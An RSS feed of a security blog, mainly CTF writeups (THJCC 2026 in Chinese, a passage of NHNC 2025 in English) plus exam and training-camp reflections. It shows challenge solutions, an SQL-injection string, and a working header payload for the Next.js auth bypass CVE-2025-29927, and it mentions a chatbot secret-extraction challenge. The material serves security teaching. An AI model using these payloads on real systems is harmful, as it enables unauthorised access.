<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Frank Blog</title><description>A CTF Player &amp; Security Researcher &amp; Backend Developer</description><link>https://blog.frk.tw</link><item><title>THJCC CTF 2026 Writeup</title><link>https://blog.frk.tw/posts/thjcc-ctf-2026</link><guid isPermaLink="true">https://blog.frk.tw/posts/thjcc-ctf-2026</guid><description>THJCC CTF 2026 Official Writeup (zh-TW ver)</description><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;好 那今天呢 風光明媚風和日麗 因爲我以前在唸書的時候 我常常覺得很奇怪就是我到學校然後看他們吃什麼早餐都是吃一份蛋餅配一杯奶茶 或是 一個漢堡配一杯奶茶 或是一份蘿蔔糕配一杯奶茶 每次吃完都說啊我吃飽了我心裡就想說這真的可以吃飽？因爲你知道我通常早餐我都點3份可能 3個 我想說這樣就能吃飽？一定是唬人的嘛 我才想到說大家都是要面子的 沒有沒有 我都帶好幾份去吃 那是你嘛 你不要臉嘛 我說正常的 我就想說 不行 我們一定要做個企劃 就是有一天要讓自己的胃滿足 大滿足 所以今天的企劃就是 當總召！&lt;/p&gt;
&lt;p&gt;以上改自張家兄弟神片早餐吃到飽，誠如各位所見我當上總召了，這故事留到都 2026 年 2 月了還沒寫的 2025 年度總結來說。&lt;/p&gt;
&lt;p&gt;題目原始碼：&lt;a href=&quot;https://github.com/Frank-Kam/THJCC-CTF-2026&quot;&gt;https://github.com/Frank-Kam/THJCC-CTF-2026&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Welcome to THJCC CTF (Welcome)&lt;/h2&gt;
&lt;h3&gt;題敘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;In this CTF, unless otherwise specified, the flag format is THJCC{.\*}  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我們直接按 F12 然後重新整理，找到題目的封包然後搜尋 &lt;code&gt;THJCC{&lt;/code&gt; 就可以得到 Flag&lt;br /&gt;
&lt;code&gt;THJCC{We1c0m3-tO-tHjcC-c7F_2O26}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Las Vegas (Web)&lt;/h2&gt;
&lt;h3&gt;題敘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Lucky 7 7 7  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我們進到網站會有一個 &lt;code&gt;pull&lt;/code&gt; 按鈕可以按，開 F12 或 Burp 可以看到會 POST 一個類似 &lt;code&gt;/?n=789&lt;/code&gt; 之類的數字，所以我們使用 cURL 就可以解了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST http://chal.thjcc.org:14514/?n=777
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;br /&gt;
&lt;code&gt;^THJCC\{LUcKy_sEVen_[0-9a-f]{16}\}$&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Ear👂(Web)&lt;/h2&gt;
&lt;h3&gt;題敘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[CWE-698](https://cwe.mitre.org/data/definitions/698.html)
&amp;gt; Author: Frank
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/698.html&quot;&gt;CWE-698&lt;/a&gt; 其實是一個水洞，但通常會造成資訊洩露或 CSRF 這種嚴重的結果，具體的成因就像&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
require_once &apos;config.php&apos;;

if (empty($_SESSION[&apos;username&apos;])) {
    header(&apos;Location: index.php&apos;);
 // exit;
 // 如果沒有 Exit 的話就會繼續往下執行底下的程式，像是資料庫或靜態網頁之類的
}
Flag (?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我們直接盲猜 &lt;code&gt;admin.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://chal.thjcc.org:1234/admin.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&amp;lt;title&amp;gt;Admin Panel&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;p&amp;gt;Admin Panel&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;a href=&quot;status.php&quot;&amp;gt;Status page&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;a href=&quot;image.php&quot;&amp;gt;Image&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;a href=&quot;system.php&quot;&amp;gt;Setting&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;繼續往 &lt;code&gt;system.php&lt;/code&gt; 送的話就有 Flag 了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&amp;lt;title&amp;gt;Admin Panel&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;p&amp;gt;System settings&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;^THJCC\{[0-9a-f]{16}_U_kNoW-HOw-t0_uSe-EaR\}$&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Happy Cat Jail&lt;/h2&gt;
&lt;h3&gt;題敘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;meow ?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;題目有給一點點原始碼&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;fmt&quot;
	&quot;unsafe&quot;
)
……
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;裡面提到 &lt;code&gt;unsafe&lt;/code&gt; 這個看起來很危險的東西，從 &lt;a href=&quot;https://pkg.go.dev/unsafe&quot;&gt;Go 官網&lt;/a&gt; 可以看到他的介紹，&lt;s&gt;應該蠻明顯這東西有空指針了吧&lt;/s&gt;，如果要直接硬炸的話可以用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type catInterface struct {
	t uintptr
	v unsafe.Pointer
}

p := unsafe.Pointer(&amp;amp;target)

iface := (*catInterface)(p)

catStr := (*string)(iface.v)

fmt.Println(*catStr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你通靈到 &lt;code&gt;secret&lt;/code&gt; 這東西還有一個更短的 Payload - Found By 燒餅&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(target.(*secret).flag)
_ = unsafe.Sizeof(0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上兩個都可以得到 Flag&lt;br /&gt;
&lt;code&gt;^THJCC\{iT&apos;[1-9][a-z][1-9][a-zA-Z][1-9]Sm[1-9]Y_gO[a-zA-Z]!!!!!L[a-z]AnG\}$&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;btw 我從去年 HITCON ExCTF 結束的時候就有 Go jail 這個想法了，到 2 月初才把程式寫出來，原本打算放白箱的但&lt;s&gt;拿去給很多 AI 試都可以 One shot&lt;/s&gt; 所以就只留 unsafe 這個提示。&lt;s&gt;下一次 NHNC 可能會有 Perl jail 還是 Java jail 之類奇怪的 jail 出現&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;IMAGE? (Misc)&lt;/h2&gt;
&lt;h3&gt;題敘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Check the hex of this image
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/posts/images/THJCC-CTF-2026/IMAGE_Q.png&quot; alt=&quot;&quot; /&gt;
如果用 &lt;a href=&quot;https://hexed.it/&quot;&gt;Hexed&lt;/a&gt; 這種 Hex 編輯器來看的話，可以發現 &lt;a href=&quot;https://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html&quot;&gt;PNG IEND&lt;/a&gt; 後面還有其他內容，後面出現了壓縮檔裡面的檔名，至於爲什麼知道是壓縮檔，&lt;s&gt;自己去學吧反正這題的考點只有 PNG Chunk 而已&lt;/s&gt;，直接 unzip&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[frank@Laptop ~]$ unzip IMAGE_Q.zip
Archive:  IMAGE_Q.zip
warning [IMAGE_Q.zip]:  3297649 extra bytes at beginning or within zipfile
  (attempting to process anyway)
   creating: cute/
  inflating: cute/F.png
  inflating: cute/F3.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到裡面有兩個檔案，點開 &lt;code&gt;F3.png&lt;/code&gt; 就有 Flag 了
&lt;code&gt;THJCC{fRierEN-SO_cUTe:)}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;TV (Forensics)&lt;/h2&gt;
&lt;h3&gt;題敘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Amazing Sound
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Frank-Kam/THJCC-CTF-2026/tree/main/Forensics/TV&quot;&gt;檔案&lt;/a&gt;
其實這蠻明顯是 SSTV 的，GPT 照題目名稱和檔案類型也直接猜中，編碼是 Martin M1，使用 &lt;a href=&quot;https://play.google.com/store/apps/details?id=xdsopl.robot36&amp;amp;hl=zh_TW&quot;&gt;Robot36&lt;/a&gt; 可以成功解碼。
&lt;img src=&quot;/posts/images/THJCC-CTF-2026/SSTV.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Metro (Misc)&lt;/h2&gt;
&lt;h3&gt;題敘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;I took this photo at a MRT station in a certain city/county in Taiwan. Please identify which station it is and which floor it was taken on.

Flag format: THJCC{Station Code-Floor} (Case insensitive)

Example: If the station code for Taipei Metro&apos;s Shuanglian Station is R12, and the floor is the 1st floor (using American English numbering), the flag would be THJCC{R12-1F}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/posts/images/THJCC-CTF-2026/Metro.jpg&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
把圖片拉到過曝可以發現後面的第二月臺的紫色貼紙，臺灣使用紫色系的捷運系統只有桃園捷運了，在 OSINT 照片的時候如果有 Ubike 在附近會非常好用，剛好這張照片有拍到，我們可以去 &lt;a href=&quot;https://www.youbike.com.tw/region/main/stations/&quot;&gt;Ubike 站點地圖&lt;/a&gt; 尋找 &lt;code&gt;」&lt;/code&gt; 這種路口和捷運站的相對位置一樣的站，&lt;s&gt;桃園捷運才幾站一下找就有了&lt;/s&gt;
&lt;img src=&quot;/posts/images/THJCC-CTF-2026/Metro-2.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
樓層的部分&lt;a href=&quot;https://www.tymetro.com.tw/tymetro-new/upload/station/20250507084749_1.png&quot;&gt;桃園捷運官網&lt;/a&gt;有。&lt;br /&gt;
&lt;code&gt;THJCC{A10-3F}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;YRSK (Misc)&lt;/h2&gt;
&lt;h3&gt;題敘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Notice RIFF ChunkSize and size limits
Flag format: Case Insensitive, no spaces
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://drive.proton.me/urls/6HMDMBCTY0#SsqH9Fv6WhMa&quot;&gt;檔案&lt;/a&gt; (稍大)
這題其實和 IMAGE 一樣都在考 Chunk，但 WAV 用的是比較通用的 RIFF 模式，&lt;a href=&quot;https://www.recordingblogs.com/wiki/list-chunk-of-a-wave-file&quot;&gt;RIFF (WAV) Chunk&lt;/a&gt;，一樣用 Hex 編輯器可以看到 data 之後多了許多奇怪的 Chunk，用 binwalk 之類的分析一下應該可以發現有 MP3 的蹤跡。&lt;br /&gt;
至於 MP3 怎麽藏的和解法就看 PoC&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

with open(&quot;out.wav&quot;, &quot;rb&quot;) as f:
    data = f.read()

offset = data.find(b&quot;FLAG&quot;)
if offset == -1:
    raise Exception(&quot;Err&quot;)

size = struct.unpack(&quot;&amp;lt;I&quot;, data[offset+4:offset+8])[0]
payload = data[offset+8:offset+8+size]

with open(&quot;extract.mp3&quot;, &quot;wb&quot;) as f:
    f.write(payload)

print(&quot;Done&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;播放輸出出來的 MP3 就可以聽到 Flag 了&lt;br /&gt;
&lt;code&gt;THJCC{YRSKITSWONDERFULL0L}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;btw 外面那層的音樂其實是電子專輯，音質非常好歐。&lt;/p&gt;
&lt;h2&gt;ExBaby Shark Master (Forensics)&lt;/h2&gt;
&lt;h3&gt;題敘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Just Search  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Frank-Kam/THJCC-CTF-2026/tree/main/Forensics/ExBaby-Shark-Master&quot;&gt;檔案&lt;/a&gt;
這題蠻水的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings THJCC_ExBaby-Shark-Master.pcapng | grep THJCC{
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;THJCC{1t&apos;S-3Asy*-r1gh7?????}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;有點後悔出這題&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;Chat&lt;/h2&gt;
&lt;h3&gt;題敘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;這是新來的 THJCC 客服機器人，但他好像有一些「祕密」……  
This is the new THJCC customer service bot... but it seems like he’s hiding a little &quot;secret&quot;  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Frank-Kam/THJCC-CTF-2026/tree/main/AI/Chat&quot;&gt;提示詞&lt;/a&gt; (使用 GPT 5.2 Auto 模型)
這題其實蠻吃運氣的，只能看我們工人解的&lt;a href=&quot;https://discord.com/channels/1214908408239620156/1214945609639923792/1475126588809941175&quot;&gt;參考&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;總結&lt;/h2&gt;
&lt;p&gt;我覺得這次當工人的氛圍蠻愉快的，沒有遇到什麼會爭執的事情，&lt;s&gt;靶機也沒有像 NHNC 的慘況&lt;/s&gt;&lt;br /&gt;
感謝所有參賽者和工作人員。&lt;/p&gt;
&lt;p&gt;如果你有題目或比賽方面的問題可以透過 Footer 的連接聯絡我。&lt;/p&gt;
</content:encoded><author>Frank Kam</author></item><item><title>臺師大資安組特選心得</title><link>https://blog.frk.tw/posts/ntnu_special</link><guid isPermaLink="true">https://blog.frk.tw/posts/ntnu_special</guid><description>臺師大 115 年資安組特選心得</description><pubDate>Sun, 16 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;其他學校的心得可以到 &lt;a href=&quot;/posts/special&quot;&gt;/posts/special&lt;/a&gt; 找到&lt;/p&gt;
&lt;h1&gt;筆試&lt;/h1&gt;
&lt;p&gt;其實題目算蠻簡單的，大概就是一些網概和一些資訊、資安常識。&lt;br /&gt;
內容可能有一些不準確畢竟我記性不好，僅供參考。&lt;/p&gt;
&lt;h2&gt;Q1&lt;/h2&gt;
&lt;p&gt;題目：舉出一項攻擊手法、防禦手法，皆要簡述功能、原理。&lt;br /&gt;
答案：&lt;br /&gt;
攻擊 - SQL Injection，可向網站傳送包含特定字串如：&lt;code&gt;&apos;OR 1=0&lt;/code&gt;等讓伺服器返回錯誤訊息，再進行如賬密繞過、匯出和破壞資料庫資料等操作。因爲網站沒有對輸入字串進行過濾，所以可以輸入 SQL 語法進行操作。&lt;br /&gt;
防禦 - WAF（網頁應用程式防火牆），可以過濾常見的惡意字串輸入或惡意路徑掃描等，大部分實作方式爲修改網路封包、修改 HTTP 請求內容、反向代理等。&lt;/p&gt;
&lt;p&gt;我覺得從原始題意上來看，攻擊和防禦應該是可以寫不相關的技術的，但保險起見我還是寫了有關聯的技術。&lt;br /&gt;
花了 30 秒在想這題要挑什麼東西，但小心爲妙所以選了 SQL Injection 和 WAF 這種技術。&lt;/p&gt;
&lt;h2&gt;Q2&lt;/h2&gt;
&lt;p&gt;題目：爲什麼改 Port 對增強資訊安全沒用？&lt;br /&gt;
答案：因爲攻擊者可以使用如：Nmap、Rustscan 等連接埠掃描工具來知道每個連接埠大致開啓的服務。&lt;/p&gt;
&lt;h2&gt;Q3&lt;/h2&gt;
&lt;p&gt;題目：有人錄了電腦的網路封包，儲存成&lt;code&gt;network_traffic.txt&lt;/code&gt;檔案，請敘述如何尋找送往&lt;code&gt;10.9.0.8&lt;/code&gt;這個網站的賬號密碼&lt;br /&gt;
答案：&lt;code&gt;cat network_traffic.txt | grep &apos;10.9.0.8&apos;&lt;/code&gt;，即可尋找前往&lt;code&gt;10.9.0.8&lt;/code&gt;的封包，視情況增加 grep 參數如：&lt;code&gt;http://, password, pwd&lt;/code&gt;等來找到賬號密碼。&lt;/p&gt;
&lt;h1&gt;面試&lt;/h1&gt;
&lt;h1&gt;總結&lt;/h1&gt;
</content:encoded><author>Frank Kam</author></item><item><title>HiPAC 2025 心得</title><link>https://blog.frk.tw/posts/hipac-2025</link><guid isPermaLink="true">https://blog.frk.tw/posts/hipac-2025</guid><description>參加國網中心舉辦之 HPC 賽事心得</description><pubDate>Mon, 03 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;首先感謝 q_nn412, Fishbaby1011, Yoru1005, Kohiro 隊友們在賽前、比賽時的協助&lt;/p&gt;
</content:encoded><author>Frank Kam</author></item><item><title>AIS3 2025 心得</title><link>https://blog.frk.tw/posts/ais3-2025</link><guid isPermaLink="true">https://blog.frk.tw/posts/ais3-2025</guid><description>AIS3 2025 心得</description><pubDate>Sat, 20 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;拖了這麼久終於來寫……總的來說充滿了不開心、生氣等負面情緒&lt;br /&gt;
一篇從朋友的文章抄了一點、從 AIS3 Discord 群組裡面挖了一些路人的文章拼拼湊湊出來的文章，所以 &lt;code&gt;TL;DR&lt;/code&gt; ¯\&lt;em&gt;(ツ)&lt;/em&gt;/¯&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/images/AIS3-2025_ICEDTEA.jpg&quot; alt=&quot;&quot; title=&quot;愛 ICEDTEA 的各位&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;徵選&lt;/h2&gt;
&lt;p&gt;原本有打 MyFirst CTF，但是比賽時失常了，導致最後落個 &lt;code&gt;70/9X&lt;/code&gt; 的成績。總之去填了徵選，&lt;s&gt;甚至還錯過繳交時間&lt;/s&gt;，最後不知為什麼還錄取了 XD&lt;/p&gt;
&lt;h2&gt;AIS3&lt;/h2&gt;
&lt;p&gt;這次因為個人私事，所以在活動時有時候心不在焉。當初 Day0 的時候突然出現了熟悉又陌生的新組員 &lt;code&gt;Chumy&lt;/code&gt; 提著一大箱行李進來，仿佛要住上一個學期似的 &lt;s&gt;雖然人家好像真的要住一個學期&lt;/s&gt;。&lt;/p&gt;
&lt;p&gt;說說幾個印象深刻的事情好了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;宿舍 11、12 點會熄燈&lt;/li&gt;
&lt;li&gt;大家都在卷&lt;/li&gt;
&lt;li&gt;一大堆認識的人都有去&lt;/li&gt;
&lt;li&gt;熬夜到連續 36 小時沒有睡覺&lt;/li&gt;
&lt;li&gt;組員協調好困難&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;關於宿舍晚上會熄燈這件事我是早有耳聞，但在了解到 SITCON Camp 也在交大宿舍而且有去申請免熄燈的服務(?之後有點生氣，想當然主辦方是要防止我們半夜繼續卷專題而有此對策，但他們也知道根本沒有人因為熄燈而不在半夜卷專題，還不如把燈打開比較不傷眼睛，希望明年能改進這點，我們宿舍則是&lt;s&gt;把手機 LED 燈往天花板照&lt;/s&gt;。&lt;br /&gt;
專題這東西我覺得以內容來說很有趣，我們這組在挖 0day，挖呀挖呀挖 挖到了兩個，分別是&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Apache Airflow 某 DAG 的 SQL Injection&lt;/li&gt;
&lt;li&gt;Apache Tomcat RCE&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;具體漏洞內容可以找方法私訊我。雖然 Airflow 的漏洞找是找到了，但他們的 Vendor 態度非常強硬，認為這個漏洞既然已經要登入後才能觸發了，就應該相信用戶的所有輸入除非他們官方文件建議在那個位置送 SQL Injection 的 Payload，雖然學過資安的都知道無條件相信用戶輸入是件錯誤的事情，但臨近專題發表時間，我們嘗試溝通幾次無果後也放棄繼續與之爭論。BTW 溝通信件的英文文法、意思我和佑丞研擬了非常久，結果導致一路熬夜到天亮沒有睡覺……
&lt;img src=&quot;/posts/images/AIS3-2025_Mail.png&quot; alt=&quot;&quot; title=&quot;溝通信件&quot; /&gt;&lt;/p&gt;
&lt;p&gt;還有一個是組員協調的問題，有個組員看起來是個新手，在專題制作的時候時常私下問我需要做什麼，但我那時候有點納悶為啥需要經過我去問，&lt;s&gt;我是 Socat 😺 嗎&lt;/s&gt;，但後來和鯨魚討論過後覺得他或許真的是對自己的實力非常沒把握、社恐，雖然不知道自己了解的對不對，但在隔天開始嘗試多和她說話、教她開源專案可以怎麽挖&amp;amp;有什麼工具輔助，還有讓她多和其他組員相處，比如在會議廳多多討論專題、在十二舍樓下討論之類的，雖然不知道有沒有幫忙到我們組和她本人 (´;ω;`) 但我盡力了。&lt;/p&gt;
&lt;p&gt;課程上我最喜歡 Orange 🍊 的課了，生動有趣以外&lt;s&gt;還聽了非常多的故事&lt;/s&gt;。還有帥氣的馬聖豪的課，讓我探索了完全不會的領域 —— Windows 滲透，學到了非常多外面沒人教過的技巧，具體課程內容不太能公開，但可以私訊我討論。&lt;/p&gt;
&lt;p&gt;最後再講回專題，我們軟體組是最後一天才上臺報告，而我們是 &lt;code&gt;軟體1&lt;/code&gt; (〒︿〒) 想當然是第一個上臺的
&lt;img src=&quot;/posts/images/AIS3-2025_Demo.png&quot; alt=&quot;&quot; title=&quot;專題簡報&quot; /&gt;
簡報大家一起做了，我覺得整體來說不錯，組內不愧有兩個擅長網頁前端的人，讓簡報好看了不少，我負責 Airflow 章節裡面的幾個頁面的文字內容。決定好是我和 Chumy 上臺後，前一天晚上便開始構思怎麽在臺上表達出來&amp;amp;試講，第一次超時了一點點而且不太通順，到後面講得越來越流暢並且可以在 13 分鐘左右，遠低於限制的 15 分鐘，太好了 XD&lt;br /&gt;
在最後報告當天，因為是第一組上去的，所以也不知道其他組表現、內容如何，站在臺上面對超過百人的我&lt;s&gt;連腿都在抖&lt;/s&gt;，Airflow 的部分講完後馬上交給 Chumy 講他挖到的 Tomcat，結束之後我才意識到，今年的 AIS3 是真的告一段落了呀。&lt;br /&gt;
最後很可惜沒有拿到最佳專題獎，但是在課程、人際關係上學到了不少。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;只能說今年太卷了呀&lt;/s&gt;，軟體組發表的時候已經有 29 個 Zeroday
&lt;img src=&quot;/posts/images/AIS3-2025_ZD.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Out of AIS3&lt;/h2&gt;
&lt;p&gt;雖然之前參加其他活動有去過交大，但在 Day0 拖行李到十二舍的時候，還是覺得這學校怎麽這麼&lt;code&gt;大&lt;/code&gt;，而且行李好重 QQ，但有個優點就是餐廳很多，我覺得不算難吃&lt;s&gt;但也不算好吃&lt;/s&gt;，校園感覺很適合我練車，希望未來能在這裡讀書吧。&lt;/p&gt;
&lt;h2&gt;結語&lt;/h2&gt;
&lt;p&gt;雖然不開心的時間比較多、壓力好大，但明年還是想來，希望明年的我比現在更有石粒 🪨 了。&lt;/p&gt;
&lt;p&gt;非常感謝&lt;br /&gt;
伊藤蒼太, 佑丞, Chumy, n1ght0w1 組員們在此次活動方方面面的協助&lt;br /&gt;
Vicent55, Ching367436 助教們的協助，在專題制作上學到非常多&lt;br /&gt;
ICEDTEA 的所有成員，給予心靈上的支持和協助&lt;br /&gt;
特別感謝 Whale.120 🐳 給予的建議和協助&lt;/p&gt;
</content:encoded><author>Frank Kam</author></item><item><title>NHNC 2025 Writeup</title><link>https://blog.frk.tw/posts/nhnc-2025</link><guid isPermaLink="true">https://blog.frk.tw/posts/nhnc-2025</guid><description>No Hack No CTF 2025 Official Writeup</description><pubDate>Tue, 08 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hi I am Frank and this&apos;s my Official Writeup &amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;p&gt;The source code for all challenges of me&amp;lt;/br&amp;gt;
&lt;a href=&quot;https://github.com/Frank-Kam/NHNC-2025_Chal&quot;&gt;https://github.com/Frank-Kam/NHNC-2025_Chal&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Welcome (Welcome)&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;##### Welcome to No Hack No CTF 2025. Good luck and have fun !
![](/posts/images/NHNC_2025-1.webp &quot;NHNC{Welcome_Flag_lol}&quot;)
&amp;lt;/br&amp;gt;

`Hover your mouse over the image !`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;/posts/NHNC_2025-1.webp&quot; alt=&quot;NHNC Welcome Flag&quot; width=&quot;50&quot; height=&quot;50&quot; title=&quot;NHNC{Welcome_Flag_lol}&quot;&amp;gt;
Just move the mouse and place it on the image to get the flag. &amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NHNC{Welcome_Flag_lol}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Next Song is 春日影 (Web)&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://github.com/Frank-Kam/NHNC-2025_Chal/tree/main/Next_Song_is_%E6%98%A5%E6%97%A5%E5%BD%B1&quot;&gt;Source Code&lt;/a&gt;&lt;/h3&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;![春日影](https://drive.miyago9267.com/d/file/img/mygo/%E7%82%BA%E4%BB%80%E9%BA%BC%E8%A6%81%E6%BC%94%E5%A5%8F%E6%98%A5%E6%97%A5%E5%BD%B1.jpg)
&amp;lt;/br&amp;gt;

NextJS Vulnerability at /admin

`Author: Frank`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Visiting &lt;code&gt;/admin&lt;/code&gt; will reveal a redirect, then go to Google and search for &lt;code&gt;NextJS Vulnerability payload&lt;/code&gt;; you should see many payloads for &lt;code&gt;CVE-2025-29927&lt;/code&gt;. &amp;lt;/br&amp;gt;
&lt;a href=&quot;https://securitylabs.datadoghq.com/articles/nextjs-middleware-auth-bypass/&quot;&gt;Understanding CVE-2025-29927: The Next.js Middleware Authorization Bypass Vulnerability&lt;/a&gt; &amp;lt;/br&amp;gt;
So, just add the following to the HTTP HEADER:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then use the payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X GET -H &quot;x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware&quot; https://???.com/admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then get the flag &amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NHNC{ANon_iS_cUtE_RIGhT?}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Catch The Goose (Web)&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://github.com/Frank-Kam/NHNC-2025_Chal/tree/main/Catch_The_Goose&quot;&gt;Source Code&lt;/a&gt;&lt;/h3&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;![Goose](https://www.americanoceans.org/wp-content/uploads/2023/12/goose-vs-duck-1024x768.jpeg)
&amp;lt;/br&amp;gt;

👀 secret_flag or user:admin

`Author: Frank`
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Public File&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;server.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the third line of the public file, it can be seen that there is &lt;code&gt;gRPC&lt;/code&gt;, and on the line 12 , there is an &lt;code&gt;SQL query string without filtering&lt;/code&gt; before or after, suggesting that gRPC is used for &lt;code&gt;SQL injection&lt;/code&gt;. &amp;lt;/br&amp;gt;
If you directly test with grpcurl now, it will definitely report an error (because there is &lt;code&gt;no .proto file to define the gRPC connection method&lt;/code&gt;) , so we read the &lt;a href=&quot;https://grpc.io/docs/what-is-grpc/introduction/&quot;&gt;gRPC official manual&lt;/a&gt; to find the syntax for the .proto file. &amp;lt;/br&amp;gt;
